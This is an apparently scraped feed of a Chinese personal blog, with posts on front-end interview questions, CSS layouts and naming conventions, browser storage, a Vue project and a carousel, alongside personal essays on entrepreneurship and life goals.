]]> 生活职场前端面试准备 /2017/08/27/%E5%89%8D%E7%AB%AF%E9%9D%A2%E8%AF%95%E5%87%86%E5%A4%87.html

整理一些面试题，以备用

技术分类

JS (行为层)

typeof 返回哪些数据类型

obj num fun bool undefined

3种强制类型转换两种隐式类型转换

parseInt parseFloat number
== - ===

数组方法pop() push() unshift() shift()

push() 尾部添加 pop() 尾部删除
unshift() 头部添加 shift() 头部删除

ajax请求 get 和 post 的区别

一个在 url 后面，一个放在虚拟载体里面
有大小限制
安全问题
应用不同

call 和 apply 的区别

object.call(this, obj1,obj2,obj3)
object.apply(this, argument)

ajax 请求时，如何解析 json 数据

使用eval parse，介于安全性考虑使用parse 更靠谱
eval 可以解析任何字符串，parse只解析json格式的字符串

闭包是什么？

闭包就是能够读取其他函数内部变量的函数

添加删除替换插入到某个节点的方法

obj.appendChild()
obj.innersetBefore()
obj.replaceChild()
obj.removeChild()

javascript 同源策略

一段脚本只能读取来自同一来源的穿考核文档的属性，同源：指主机名，协议和端口号的组合

编写一个 b 继承 a 的方法

  function A(name) {      this.name = name;      this.sayHello = function(){alert(this.name+ "say hello!")}  }  function B(name, id) {      this.temp = A      this.temp(name)      delete this.temp      this.id = id      this.checkId = function(ID) {alert(this.id == ID)}  }

如何阻止事件冒泡和默认事件

  function stopBubble(e) {      if (e && e.stopPropagation) {          e.stopPropgation ()      } else {          window.event.cancelBubble = true      }      return false  }

谈谈this对象的理解

this 是 js 的一个关键字，随着函数使用场合不同，this的值会发生变化
但是有一个原则，this 指向的就是调用函数的那个对象
this 一般情况下：是指全局对象global，如果作为方法调用，就指向这个对象

简单讲下 node 的使用场景

高并发，聊天，实时消息推送

node 的优点和缺点提出自己的看法

优点： node是基于时间驱动和无阻塞的，所以非常适合处理并发请求，因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多，与node代理服务器交互的客户端代码也是用js写的，用的相同的语言，这感觉前后端非常亲切和美妙
缺点： node是一个相对比较新的开源项目，所以不太稳定，它总是在变，而且缺少足够多的第三方库的支持

常用的一款框架

vuejs reactjs jQuery angular

CSS (表现层)

清除浮动

使用clear
使用overflow
使用css的*：after

居中设置

1· 水平居中

flex布局
设置justify-content：center；

2· 垂直居中

多行文本（内联元素）
a: 插入 table ，再设置vertical-align: middle;
b: 先设置display： table-cell；再设置vertical-align: middle;

link 和 @import的区别

link除了加载css，还能用于定义RSS，定义rel链接属性，import只能引入css
页面加载时，link同时加载，而@import引用的css会等到页面被加载完之后再加载
import 只在 ie5 以上被识别

css 盒子模型

content，padding，margin，border

css 选择符号

id选择器
类选择器
标签选择器
相邻选择器 +
子选择器 >
后代选择器
通配符选择器 *
属性选择器（a[rel = ‘external’])
伪类选择器 hover nth-child
优先级
!important > id > class > tag

HTML (结构层)

什么是语义化的HTML

直观的认识标签，有益于 SEO
有利于开源之后阅读代码的人更容易阅读
便于后期维护和理解

自动化编程

前端自动化工具？

gulp
webpack

其他

描述一下cookies，sessionStorage 和localStorage的区别？

cookie 在浏览器和服务器之间来回传递，SS和LS不会
SS和LS 的储存空间更大
SS和LS 有更多丰富易用的接口
SS和LS 是有各自的储存空间
LS 储存是永久性的，SS 关闭浏览器就没了

如何实现浏览器内多个标签之间的通信

调用LS Cookies 等本地储存方式

IE6 BUG 的解决办法

双边距，float引起，使用display
3像素问题，float引起，使用display：inline-3px
超链接 hover 点击失效，注意顺序
无法定义1px左右的宽度容器（使用overflow：hidden；zoom：0.08；line-height：1px）

你有哪些性能优化的方法

减少http请求次数，css，js，html压缩，图片大小控制和压缩，网页cdn托管，data缓存，图片服务器
前端模板 js + 数据，减少由于html导致的带宽浪费，减少请求次数，
图片预加载，将样式表放在头部，脚本放在底部，加上时间戳
用innerHTML代替dom操作，减少dom操作次数，优化js性能
当需要设置的样式很多时，设置className而不是直接操作dom
避免在页面的主体布局中使用table，table要在其中的内容完全下载完之后才会完全显示，显示div+css布局慢。普通网站有一个普遍的思路，就是尽量向前端化，减少数据库操作，减少磁盘IO，
前端化：在不影响功能和体验的情况下，能在浏览器执行的不要在服务器执行，能在缓存服务器上直接返回的不要到应用服务器，程序能直接取到的结果不要到外部取，本机能取到的不要到远程取，内存能取到的不要到磁盘取，缓存中有的不要去数据库查询
减少数据库操作指：减少更新次数，缓存结果减少查询次数，将数据库执行的操作尽可能的让你的操作完成，减少磁盘IO指尽量不适用文件系统作为缓存，减少读写文件次数等。
程序优化永远要优化慢的部分

http 状态码有哪些？分别代表啥意思？

100-199 用于指定客户端相应的某些动作
200-299 用于表示请求成功
300-399 用于已经移动的文件并且常被包含在定位头信息中指定新的地址信息
400-499 用于指出客户端的错误。
400: 语义有误 401：当前请求需要用户验证 403: 服务器已经理解请求，但是拒绝执行他 404：页面找不到
500-599 用于支持服务器错误。501 服务器不可用

一个页面从输入 url 到页面显示完成，中间发生了什么？

查找浏览器缓存
DNS 解析，查找该域名对应的IP，重定向（301），发出第二个 get 请求
进行HTTP 协议对话
客户端发送报头
文档开始下载
文档树建立，根据标记请求所需指定mime类型的文件
文件显示
浏览器这边做的工作大致分为以下几步：
加载：根据请求的url进行域名解析，向服务器发起请求，接受文件（html，js，css，图像等）
解析：对加载到的资源（html，js，css）进行语法解析，建议相应的内部数据结构（比如html的dom树，js的属性表，css的样式表规则等等）

总结

怀着一颗空杯心态去看待事物，这样才会有进步，学无止境，我要走的路还很长

]]> web前端面试 commonJS和AMD/CMD /2017/08/23/commonJS%E5%92%8CAMD-CMD.html

一. CommonJS

node.js的模块系统，就是参照CommonJS规范实现的。在CommonJS中，有一个全局性方法require()，用于加载模块。假定有一个数学模块math.js，就可以像下面这样加载。NodeJS是CommonJS规范的实现，webpack 也是以CommonJS的形式来书写。

var math = require(‘math’)

1. 原理

浏览器兼不兼容commonJS，在于是否缺少这几个环境变量

module
export
require
global

2. browsertify

将 npm包编译成可以被 html 页面引入的 js模块

一个类似的库：browser-unpack

]]> JS commonjs 七种公司永远做不大, 十种老板永远不成功! /2017/08/22/%E4%B8%83%E7%A7%8D%E5%85%AC%E5%8F%B8%E6%B0%B8%E8%BF%9C%E5%81%9A%E4%B8%8D%E5%A4%A7-%E5%8D%81%E7%A7%8D%E8%80%81%E6%9D%BF%E6%B0%B8%E8%BF%9C%E4%B8%8D%E6%88%90%E5%8A%9F.html

这七种公司永远做不大

1. 格局小的企业

1999年2月，牛根生对孙先红说：我给你100万的宣传费，对谁也不要说。先红问：为什么不能说？牛说：现在总共筹到300万，拿出100万做广告，我怕大家知道后接受不了。我就要一个效果：一夜之间，让呼市人都知道。于是1999年4月1日早上，一觉醒来，人们突然发现道路两旁冒出了一溜溜的红色路牌广告，上面高书金色大字：蒙牛乳业，创内蒙古乳业第二品牌！
但在现实中，许多老板肩上扛着品牌大旗心里打着小算盘，乐于小打小闹，希望以小的投入来获得大的回报，从没想过以大的投入来换取更大的回报。这实际上就是一种格局。格局小的老板，想的永远是自己，希望从一颗鸡蛋中吃出黄金；而格局大的老板，则能着眼于未来，在大环境中定义自己的事业。

2. 心态小的企业

俗话说：善奕者谋势，不善奕者谋子
许多企业之所以做不大，就在于只谋子不谋势。谋势就是定战略，有了战略，路再长，总有一天会走到；没有战略，走得越猛，死得越早。置战略需求于不顾，希望用1分钱换来100元的效果的主，很难走出穷的境界，因为占便宜本身就代表没有境界。死抠一城一池，是活三年的企业，因为它不抬头看天。东一榔头西一棒子的，是活三月的企业，因为它不低头看地。不看天，山雨欲来浑然不觉，要被洪水淹死；不看地，夜半悬崖大步流星，要被群山淹没。

3. 短视的企业

立竿见影、刀下见菜，是大多数老板的想法，当然这也没有错，因为解决目前的生存问题是第一位的。但是，生存问题属于战术问题，而发展问题属于战略问题，解决生存问题必须刀下见菜，但要搞定发展问题则需要细水长流最后水到渠成。现实中，很多老板都有短视心态，以为整一个亮点马上就能换回巨大的效益，于是一个活动搞下去或一期广告投下去看到没什么效果就马上停止。
其实这种想法并不正确，因为品牌对于企业而言是一个长期工程和系统工程，既要有独特的个性，又需要系统的提炼及提升；对于客户而言，品牌又是一种认知识别和体验识别，他们需要你能记住你的特别理由，因此也就需要你在诉求点上要坚持深入。

4. 缺外脑的企业

曾有人说过这样一句话：在中国，资源第一位，机遇第二位，能力第三位，学历第四位，不少老板比别人做得成功，就在于他所拥有的社会资源为他创造了部分条件。而很多老板之所以做不大，原因就在于他缺少足够的社会资源，单打独斗当然也就孤掌难鸣。
说到社会资源，很多人都会想到领导支持这个词语，其实这并不全面，向领导、职能部门传递企业的正面信息，获得政策范围内的支持，这只属于整合营销传播的一个方面。除了官方资源以外，能帮你快速解决一定融资困难的亲友资源，能为你迅速带来人才的人力推介资源，能为你出谋划策充当参谋的智力资源、信息资源等等，这些资源都会对你的发展壮大起着重要的作用。这些都是企业的外脑。想想看，那些做得成功的大企业，又有多少企业没有外脑、没有顾问呢？

5. 缺内脑的企业

一个好汉三个帮，如果没有一批能征善战的下属为你冲锋陷阵，老板再厉害，也难以成事。许多企业就面临这样的问题：优秀的人招不来，有出息的人留不住，剩下的看谁谁不顺眼，为什么会这样呢？员工愿不愿加盟公司、能加盟多久，与薪酬福利、团队氛围、学习提升、办事机制，成就感，归属感、生活现状等各种因素紧密相连。目前，大多数的企业，薪酬福利都差不多，关键问题是：老板只看重行政管理与业绩，只关注你今天卖了多少、有没有迟到早退，至于思想管理、技能管理、状态管理与团队氛围管理，老板根本就没有这个意识，最后员工技能得不到提升，思想得不到引导，越干越没劲，只好走人了事。管理的表面化，最终导致员工素质同质化，做不大也就在情理之中了。

6. 用金扁担挑粪的企业

从前有个小伙子，祖辈都是菜农。小伙子每天挑粪去菜地浇菜，从小习惯了这年复一年的活。一天，他去菜地的路上在一棵大树下歇脚，坐在挑粪扁担上，远眺村里大财主的那幢豪华楼房，心里突然有个梦想﹕有一天我要是像他那么有钱，我一定要打一副用金子做成的扁担挑粪。用金扁担挑粪虽然有了财富有了金子，但是挑粪的思维还是没有改变，因为他已经习惯了那种操作手法。所以，很多企业看到别人有了驰名商标就马上去申请一个驰名商标，看到别人开了一个自助火锅生意不错，于是就立马也开一个。有了这些金蛋蛋以后，马上把它做成一根金扁担挑着以前的大便继续前进。

7. 需要预约的企业

中国的小老板令人感动和尊敬，在我看来，哪怕是开小饭馆的小老板，也功德无量，令人尊敬，因为他们为社会提供了更多的就业岗位，贡献了更多的税收，开发了更多的技术。他们多数才华横溢、精明能干、出身草根、白手起家，其赤手空拳打天下的勇气让人佩服。
他们在资金与技术贫瘠的土壤中扎根，在不利政策环境中破土，在外资、合资品牌丛林中成长，生命的顽强与坚韧让人感慨与惊叹。他们热情而富有理想，为了实现百年老店的梦想，很多人起得比鸡还要早，睡得比狗还要晚。企业最大的瓶颈是资金！然而，在你没有实力之前要想获得金融支持，干过企业的人都深有体会，最缺德的机构莫过于银行，他们向来都是雨天收伞！在尊敬与感动之余，又难免有点儿心酸与不安。因为很多小老板都患上了这样的毛病：事业不大架子大、老板不大脾气大，自以为是，傲气十足，结果很多的机会就在这种需要预约的情况下丧失了。

十种做不大的老板

据一些管理学家的最新研究，发现有十种老板，由于各方面的制约，是很难将生意做大的。

没有大梦想的老板

不想做出大成就的老板，安于现状，对竞争没有充分的认识，对机会不敏感。商界往往是大野心的老板做成了大公司，安于现状的老板最后不得不因业绩不良而关门或换行。

没有创业规划的老板

这种老板不善于对自己的事业做中长期规划，往往在经营中浪费很多的资源，或者让人才流失，或者让资源闲置，所以他们的经营成本很高。

不重视人才的老板

对任何公司而言，人才比资金比资产都重要，有了人才才可以做想做的事，没有人才一切免谈。老板最能干的公司往往都做不大，老板不太能干的公司，往往能做得很大。刘邦和项羽就是最好的例子，刘邦不能干，所以他重用萧、韩、张三杰，项羽很能干，所以手下能人都留不住，都跑到刘邦那去了。

完全自己摸索，从不向明师请教的老板

完全自己摸索的老板，在经营中就会要用很多的失败做代价，走了很多的弯路。从而造成要么信心不足，要么资源被浪费后没有创业资金，要么就是视野很小，看不到机会和危机。善于向明师请教的人，总可以少走一些弯路。因为他站在别人的肩膀上，所以能看得更远！

观念保守思维不开放的老板

看看中国发展的轨迹，越是开放的地方，越是发展得快，越是观念落后的地方，越是贫穷。思维不开放的老板，总是自己拒绝了很多的发展机会！

恃己之能从不学习的老板

经常参加各种培训的老板，都是一些取得成就的老板；从不参加培训的老板，肯定公司业绩不良。为什么？不学习观念就要落后，思维就要保守。

畏首畏尾顾虑太多的老板

风险与机会是均等的，从不敢冒险的老板，肯定是要失去很多机会的。世界上的两大公司，都是在风险的浪尖上走过来的。果敢的企业家总是这样想“万一我不做万一我不投资丧失了机会怎么办”，他们想的是“万一成功了”；有些老板总是这样想“万一我做了万一我投资了失败了怎么办”，他们想的是“万一失败了”，所以不做就没有失败，但更没有机会成功！

心思太细专做小事的老板

把时间都花在小事上的老板，根本就没有时间来考虑公司发展的大事。有些老板，充其量只是自己的业务员，因为他的主要精力都用在跑业务上；有些老板是救火队员，哪里有问题就上哪里，却从不考虑如何才能不出问题。这些老板都很累，业绩却不良；反过来看，那些只专注于公司发展大事的老板，把小事放心地交给员工做，员工既有了用武之地，就会长期留下来，老板自己反而很轻松。

埋头经营从不做宣传的老板

营销就是做广告，越是多做广告越是会做宣传的老板，公司就会发展得快，业务就会做得多，连少林寺都要用宣传来推广自己，否则它哪有那么多的香客和门徒？埋头经营的老板还在满足自己的客户量还可以的时候，却不知已经有人做宣传占领了更大的市场份额！

贪图小利不讲诚信的老板

讲诚信是需要付出代价的，往往代价很高；但往往也因此带来了自己长期发展的各种机会；不讲诚信，看似代价很低，暂时占了很多便宜，却不知付出的代价更高，丧失了更多的发展机会。做了很多年还没有发展起来的老板，肯定遵守诚信不够！

总结

从上来看，我需要提升的地方还有很多很多，从心态到气场，从执行的态度，到为人处世的方法，学无止境，提高自己的格局，改变自己的视野，不要被眼前的枷锁所束缚，世界很大，我还有很多地方没有去走，牛人很多，我还有很多品质需要研究
改变自己，不甘平庸，相信明天！！！

]]> 生活哲理 sessionStorage localStotage AND cookies /2017/08/16/sessionStorage-localStotage-AND-cookies.html

sessionStorage

引入一个浏览器窗口的概念，开启在同源的同窗口，即使跳到其他页面，数据仍然存在，页面刷新也不会消除数据，

特点

减少网络流量：一旦数据保存在本地后，就可以避免再向服务器请求数据，因此减少不必要的数据请求，减少数据在浏览器和服务器间不必要地来回传递
快速显示数据：性能好，从本地读数据比通过网络从服务器获得数据快得多，本地数据可以即时获得。再加上网页本身也可以有缓存，因此整个页面和数据都在本地的话，可以立即显示
临时储存：很多时候数据只需要在用户浏览一组页面期间使用，关闭窗口后数据就可以丢弃了，这种情况使用sessionStorage非常方便

数据始终在同源的http请求中携带（即使不需要），即cookie在浏览器和服务器间来回传递，数据还有路径（path）的概念，可以限制cookie只属于某个路径下。

特点

cookie数据不能超过4k，同时因为每次http请求都会携带cookie，所以cookie只适合保存很小的数据，如会话标识
只在设置的cookie过期时间之前一直有效，即使窗口或浏览器关闭,即有一个过期值
cookie也是在所有同源窗口中都是共享的。

localStorage

特点

生命周期是永久性的。假若使用localStorage存储数据，即使关闭浏览器，也不会让数据消失，除非主动的去删除数据，使用的方法如上所示。localStorage有length属性，可以查看其有多少条记录的数据。

使用方法:

var storage = null;      if(window.localStorage){              //判断浏览器是否支持localStorage         storage = window.localStorage;              storage.setItem("name", "Rick");    //调用setItem方法，存储数据         alert(storage.getItem("name"));     //调用getItem方法，弹框显示 name 为 Rick         storage.removeItem("name");     //调用removeItem方法，移除数据         alert(storage.getItem("name"));   //调用getItem方法，弹框显示 name 为 null      }

]]> storage sessionStorage localStotage cookies wuti /2017/07/31/wuti.html

无题

]]> 音乐指弹 badboy /2017/07/30/badboy.html

关于坏男人的定义

很多人容易把坏男人很狼联系起来，事实上确实很有道理。健康的狼与健康的人有着许多共同点。比如敏锐的直觉，好玩的天性，都充满好奇心，并且坚韧，善于适应不断变化的环境，一样的勇敢。以及根植在骨子里的忠诚

但是往往会被冠以“狡猾” 和“危险”的名号

是抽烟，逃课，打架，玩世不恭，对感情暧昧，吊儿郎当的度日子，看上去没有丝毫的进取心

坏，是一种生命力的体现

他可能带着你逃单，然后给气喘吁吁的你递上一瓶水，也可能在你蹦极吓得流泪的时候一脚把你踹下去，他可能为你和别人打架被打成狗，他有着高度的想象力和执行力

大部分人庸庸碌碌的过着日子，只有少部分人愿意打破自己的舒适区，去尝试一些未知的甚至是危险的事物。

坏，他不意味着疯狂或是失控，更不意味着矫正，放弃原本的社会规则，或者是背离人性。刚好相反，它非常的宽容，对过往的一切能够兼容并蓄。它非常的积极，对未知的一切都能够无所畏惧

小结

吹嘘了这么久的自己，有些东西确实很有代表性。有很多人说我有一种骨子里坏坏的感觉，但我只想说，那是我脑海里追求的生活方式，从表面上体现了出来。但是坏的是表现，不是本质

我不喜欢平凡，喜欢追求自己想要的生活，即使三十年，四十年后，我也不会停下追寻的脚步，因为我知道，人的一生很短暂，你怎么样为自己的一生保留一些永恒的东西？现在的我没有背景，所以一切只能靠自己的双手去创造。

平凡的人因为有了自己的思想而伟大。不随波逐流将会是我一生的追求

]]> badBoy 关于罗永浩 /2017/07/23/%E5%85%B3%E4%BA%8E%E7%BD%97%E6%B0%B8%E6%B5%A9.html

理念

当一个可以改变时代的人出现，他阐述出了他的观点，很多人都会觉得他是神经病，这个时候就需要坚持自己的想法，能够影响别人，乃至影响世界，给自己一个充实幸福感

理财

罗永浩曾经不会理财，月光族，公司有一个设计师和他一样。我也一样。这样的人都有一个共同点，就是觉得自己以后能赚大钱。

社交

罗有轻微的社交恐惧症，有一部分是内向，当在场的人超过一半会比较外向，现在的时代，是外向的人占便宜，当时因为罗不喜欢社交，没有去维持商业圈，导致能解决的问题停滞了一年吧半。
所以不要内向，改变自己，当你在一个场合出入次数多了，性格开朗了，你就会改变

追求完美

罗非常追求完美和细节，这点和他崇拜乔布斯有关，我是个极简主义者，

性格

老罗脾气不好，但是直爽，有很强的执行力，想做即做，在他看来，如果一个事前不是需要先天的能力作为基石，那这件事我们如果有信心去做，就一定能够成功

总结

我和老罗差在，有很多事前畏手畏脚，不敢去做，就和他曾经的从商恐惧感一样，其实真正去做了，很多问题也会在实践中得到解决。
极端的讲，如果你提出一个跨时代的想法，而你身边的人说你疯了，那可能我们其中有一个就是笨蛋

]]> 生活哲理 sync 和async /2017/07/21/sync-%E5%92%8Casync.html

async 和 sync

总结

一句话：可以改变程序正常执行顺序的就称为异步

]]> JS 同步异步 es6 css的命名规范 /2017/07/17/css%E7%9A%84%E5%91%BD%E5%90%8D%E8%A7%84%E8%8C%83.html

关于 css 的一些命名规范

css设计模式：SMACSS
BEM 命名规范
javascript Hook

SMACSS

首先，它定义了五种样式：

base（基本）
layout（布局）
module（模块）
state（状态）
theme（皮肤）

base（基本）

在该样式中不适用class，id等选择，只对标签元素本身做设定，可以有属性选择器和伪类：
```
html{}input[type=text] {}a:hover {}
```

layout(布局)

整个网站的【大架构】的外观，类似header，footer
```
#header {}.sidebar {}
```
通常只有一个选择器，一个id，或一个class

module（组件）

可复用组件，不需要任何prefix，

partial

比 layout 范围小，可以是特定单一领域下特别的设定，通常会将名称加在子 class 作为 prefix

.nav--main_item {}

state

定义状态，例如：.active, .on
```
<ul>  <li> </li>  <li class="active"> </li><ul>
```
.is-active 比.active 来的好读

skin（皮肤）

画面上所有主视觉的定义，例如：border-color，background-image，font-family等，负责大架构上的视觉样式。

BEM 命名规范

BEM 即 block，element，modifier 缩写
将 block 区块作为起始开头，element为 block下的元素，modifier为该元素的属性。
block 和 element 用 __ 双下划线区分，不同的modifier 则用两个–区分，一个-表示这个 class 不依赖任何 block 或者 element ，是个独立的存在：.page-container
示范：
```
.sidebar {  .sidebar--left__section {      .sidebar--left__section--header {}  }}
```

javascript hook

我理解的是，在 css 选择器的前缀加个动作或者 “js”，来表示该标签被 js 调用过
html 里 class 之间用两个空格比一个空格好阅读

]]> CSS css命名规范 vue-eleme /2017/07/05/vue-eleme.html

准备工作

vue-cli
better-scroll
node.js
电脑（废话）
在dev-server中配置本地 data.json API接口

star组件

该项目中多处用到星星，所以可以将它整合成一个组件，以复用

用 import 引入到父组件，给该组件传入 seller.score 评分数据

itemClasses () {    let result = []    let score = Math.floor(this.score * 2) / 2    let hasDecimal = score % 1 !== 0    let integer = Math.floor(score)    for (let i = 0; i < integer; i++) {      result.push(CLS_ON)    }    if (hasDecimal) {      result.push(CLS_HELF)    }    while (result.length < STARLENG) {      result.push(CLS_OFF)    }    return result  }

分别获取它们的整数，小数，和无

为了防止内容超过容器，图标遮挡内容的现象
实现原理就是设置一个容器，将该容器的最小大小设置为100%，容器外面再设一个容器，给他一个负的 margin 或者是 padding，将它固定在容器的最下方

可以参考我这篇(文章)[http://jzxer.cn/sticky-footer.html]

goods 组件

nextTrick () 方法

该函数的意思是，当一个 DOM 刚刚 create 的时候，因为 DOM 会在当前 tick里面的代码全部执行完再更新，所以不能做到在修改数据之后 DOM 更新之后再执行，要保证 DOM 更新之后再执行某一块代码，就必须放在下一次循环更新里面，，这样 DOM 更新后，就会立即执行这块的代码
！()[https://pic4.zhimg.com/47b878cfdac72ea510733667f39f2f6f_b.png]

better-scroll 插件

可以在 npm 包管理器中下载
使用方法就是直接给你需要滚动的列表上创建一个实例，该实例的调用要放在nextTrick（）中，因为触屏滚动每次都是需要更新 dom 的

refs 和 el 数据传递

refs就是将子组件的数据传递给父组件，el就是 elment，指的是该实例的 dom 分支

API 接口配置

新建一个 express.Router() 实例，给它们分配路由路径，记得加入一个 errno ，判断是否正确获取数据

这个时候就发现 node 是多么的强大，前后端全包了~

shopCart 组件

指的是底部购物车组件，这个部分比较麻烦的是数据绑定，因为我们需要绑定一个数据流，点击添加商品，判断商品是否大于起送价，否则返回空，按钮不可点击，购物车头部无红色小标签，是则按钮变为绿色，购物logo变成蓝色，出现红色计数标签。

cartcontral 组件

实现的思路是，点击添加会改变shopcart里的数据，双向绑定，这里用到了 $emit 就是将子路由中的数据传递给父组件，和ref的原理很像，父组件再通过监听事件得到子组件的数据。

]]> web项目 vue nodeJS sticky-footer /2017/07/02/sticky-footer.html

今天，我想讲讲关于stick-footer布局技巧，它的内容大概就是当你页面大小为100%时，希望底部定位一个 X 按钮啥的，不管文本内容不够，或者是文本内容超过屏幕时，这个按钮位置总在文本的下方

like this

实现思路

首先是个包裹了 footer 之外其他元素的容器，将它的最小大小设置为100%
然后给这个footer一个负的 magin-top 因为如果该容器最小大小为100%，会将footer元素挤出容器外，你这个时候就要想办法把该元素‘重回战场’
sticky-footer 就是这个意思，让他完美保持在底部，而又不会影响主要内容的显示

四种实现方法

容器使用负的 margin bottom

<body>  <div class="wrapper">      content    <div class="push"></div>  </div>  <footer class="footer"></footer></body>html, body {  height: 100%;  margin: 0;}.wrapper {  min-height: 100%;  /* Equal to height of footer */  /* But also accounting for potential margin-bottom of last child */  margin-bottom: -50px;}.footer,.push {  height: 50px;}

底部使用负的 margin top

<body>  <div class="content">    <div class="content-inside">      content    </div>  </div>  <footer class="footer"></footer></body>html, body {  height: 100%;  margin: 0;}.content {  min-height: 100%;}.content-inside {  padding: 20px;  padding-bottom: 50px;}.footer {  height: 50px;  margin-top: -50px;}

calc 版本

<body>  <div class="content">    content  </div>  <footer class="footer"></footer></body>.content {  min-height: calc(100vh - 70px);}.footer {  height: 50px;}

calc中的 70px，和50px是假定了content中最后一个元素有个20px的margin bottom，你不必在意这些~

flexbox 版本

<body>  <div class="content">    content  </div>  <footer class="footer"></footer></body>html {  height: 100%;}body {  min-height: 100%;  display: flex;  flex-direction: column;}.content {  flex: 1;}

flexbox版本同样很简单，并且相比前面三种方式，它不需要知道footer的高度，避免了Magic Number的尴尬。

grid 版本

<body>  <div class="content">    content  </div>  <footer class="footer"></footer></body>html {  height: 100%;}body {  min-height: 100%;  display: grid;  grid-template-rows: 1fr auto;}.footer {  grid-row-start: 2;  grid-row-end: 3;}

Chrome Canary 或者 Firefox Developer Edition才能看到效果。

]]> CSS sticky布局我向往的明天 /2017/07/01/%E6%88%91%E5%90%91%E5%BE%80%E7%9A%84%E6%98%8E%E5%A4%A9.html

欲望

我很希望，自己的未来能不一样
我想要的，就是在平凡中不断的改变自己
路上的人，有人嘲笑，有人鼓励
我全都笑纳
好的留在心里
坏的随风飘逝
展现真正的自己，表达的更简单一些
在机会来临时
奋不顾身的抓牢它
不要被眼前的利益所迷惑
放眼更广阔的未来
做好自己
抓住身边一切的美好
当有一天对一切都无所畏惧
那就是
重生

谈谈今天

人有时候真的挺纠结，就像我今天看了《龙飞凤舞》，觉得上流社会的生活有时候即糜烂，又觉得美好
有的人花了一生时间，去挤进那样的生活圈，有的人甘愿过着平凡的生活
殊不知，彼此之间都存在着羡慕与无奈
我也不例外
如果哪天，我能够进入这样的世界
我是否能够保持清醒，不被外界所干扰，任然保持初心？
我也不敢保证，所以我一直在努力
为了不亏欠曾经的自己
我不敢停下脚步
我怕我停下来
就找不到回去的路
我也舍弃了太多
只因为我曾经欠下太多
但我不后悔
明天的路，我想自己走
即使错了，那也是个经历，我会记在心中
将来成功的那天，回忆，何不是一种财富？

总结

每个人都不一样，早点实战，可能更快明白自己想要什么
我不认为一定会混技术职场，现在做的是为了我将来的梦想
我要做一款只属于自己的产品
即使时间再怎么磨砺
我也希望不要忘对自己的承诺
给自己定一个期限
6 年
即使以后再有钱，我也会把健康看做第一位
我希望那时我有房有车还有她
不想以后不顾家
未来我还是想闯出自己的一片天地
结婚的话在30-35之间吧，真希望她是个艺术家
6 年，努力点，足以在一个行业小有所成
那时候就是我想要的未来
加油！！！

]]> 生活人生感悟 div,section,article /2017/06/28/div-section-article.html

div

div在html早期版本就支持了，section和article是html5提出的两个语义化标签。如果只是针对一个块内容做样式化，三者并无区别。

section

作为语义化标签，section 应用的典型场景有文章的章节、标签对话框中的标签页、或者论文中有编号的部分。一般来说，当元素内容明确地出现在文档大纲中时，section 就是适用的。

article

对于article标签来说，无论从结构上还是内容上来说，article 本身就是独立的、完整的。有个最简单的判断方法是看这段内容脱离了所在的语境，是否还是完整的、独立的，如果是，则应该用article标签。

小结

合理的语义化标签，可以更好的方便seo，也不知道为什么，我现在更喜欢细节的东西

div < section < article ，语义是从无到有，逐渐增强的。div 无任何语义，仅仅用作样式化或者脚本化，对于一段主题性的内容，则就适用 section，而假如这段内容可以脱离上下文，作为完整的独立存在的一段内容，则就适用 article。原则上来说，能使用 article 的时候，也是可以使用 section 的，但是实际上，假如使用 article 更合适，那么就不要使用 section 。

]]> HTML 语义化四种常见的布局 /2017/06/28/%E5%9B%9B%E7%A7%8D%E5%B8%B8%E8%A7%81%E7%9A%84%E5%B8%83%E5%B1%80.html

对于一个对界要求很高的人来说，今天有必要研究下各种常见的布局，目前罗列了四种布局，来来来，一起看看

demo

绝对定位法

左右两栏采用绝对定位，中间的由两边的margin撑开
`

#main {
margin:0 200px;
background:red;
}

#left{
position:absolute;
top:0;left:0;
width:200px;
background:blue;
height:100%;
}

#right{
position:absolute;
top:0;right:0;
width:200px;
background:green;
height:100%;
}

这种布局缺点是，当缩放到一定大小的时候，会出现重叠现象### 自身浮动法> 左栏左浮动，右栏右浮动，中间栏放最后

<body>    <div id="left"></div>    <div id="right"></div>    <div id="main"></div></body>　#main {margin:0 200px;background:red;}#left{float:left;width:200px;background:blue;height:100%;}#right{float:right;width:200px;background:green;height:100%;}

简单而高效，代码还容易理解，适合初学者### 圣杯布局

//注意元素次序

Main

Left

Right

//习惯性的CSS reset
body,html{
height:100%;
padding: 0;
margin: 0
}
//父元素body空出左右栏位
body {
padding-left: 100px;
padding-right: 200px;
}
//左边元素更改
.left {
background: red;
width: 100px;
float: left;
margin-left: -100%;
position: relative;
left: -100px;
height: 100%;
}
//中间部分
.main {
background: blue;
width: 100%;
height: 100%;
float: left;
}
//右边元素定义
.right {
background: red;
width: 200px;
height: 100%;
float: left;
margin-left: -200px;
position: relative;
right: -200px;
}

稍微难理解一点，不过这种布局目前我觉得是适配性比其他两种要好的布局方式，缺点是后期维护性不高### 双飞翼布局

div class=”main”>

Main

Left

Right

css样式就是将body上的左右margin值去掉，加在新增的 div 中

这种布局方式为淘宝 UED 提出，目前最好用的一种布局方式，相比较圣杯布局，去掉了相对布局，代码更简洁

小结

一个人的页面能力怎么样，从他对一个网站的布局如何就可以看出来，我觉得一个网站不但要用户看起来舒服，还要工程师在看到你的代码的时候，觉得布局非常巧妙。

美观大方的布局加上简洁的代码，加油吧，骚年~

]]> HTML 布局圣杯解析卡片式轮播图 /2017/06/24/%E8%AE%BA%E8%BD%AE%E6%92%AD%E5%9B%BE%E7%9A%84%E5%8E%9F%E7%90%86.html

小记：前两天面试，展现项目过程中经理问我轮播图的原理，我一脸懵逼，因为当时有现成的插件，所以我没怎么去研究，当然，我也知道该来的还是要来的…

首先我大概讲一下，传统轮播图的主要部分：

图片（废话）
左右两边的button
可以跳转的小点
demo

原理

轮播图的原理就是一个长图，里面有很多张图，外面包一层展示窗口，将属性设置成overflow：hidden，达到只显示一张的效果，当点击左右两边的按钮时会按照像素来跳转

无限滚动

我给两个按钮设为 prev next 一个在点击后，长图会增加一张图的宽度，一个是减少一个图的宽度,在图片的头和尾部加一张图，结构大概为：

<div id="list" style="left:-200px">    <img src="./img/5.jpg" alt="">    <img src="./img/1.jpg" alt="">    <img src="./img/2.jpg" alt="">    <img src="./img/3.jpg" alt="">    <img src="./img/4.jpg" alt="">    <img src="./img/5.jpg" alt="">    <img src="./img/1.jpg" alt="">  </div>

当是最后一张图或第一张图时，将第一张上一张跳转为最后一张时的宽，最后一张跳转为第一张时的宽

if (newList < -1000) {        dot = 1        list.style.left = -200 + 'px'      }      if (newList > -200) {        dot = 5        list.style.left = -1000 + 'px'      }

小按钮切换

这要实现的思想有

点了小按钮，背景色会变
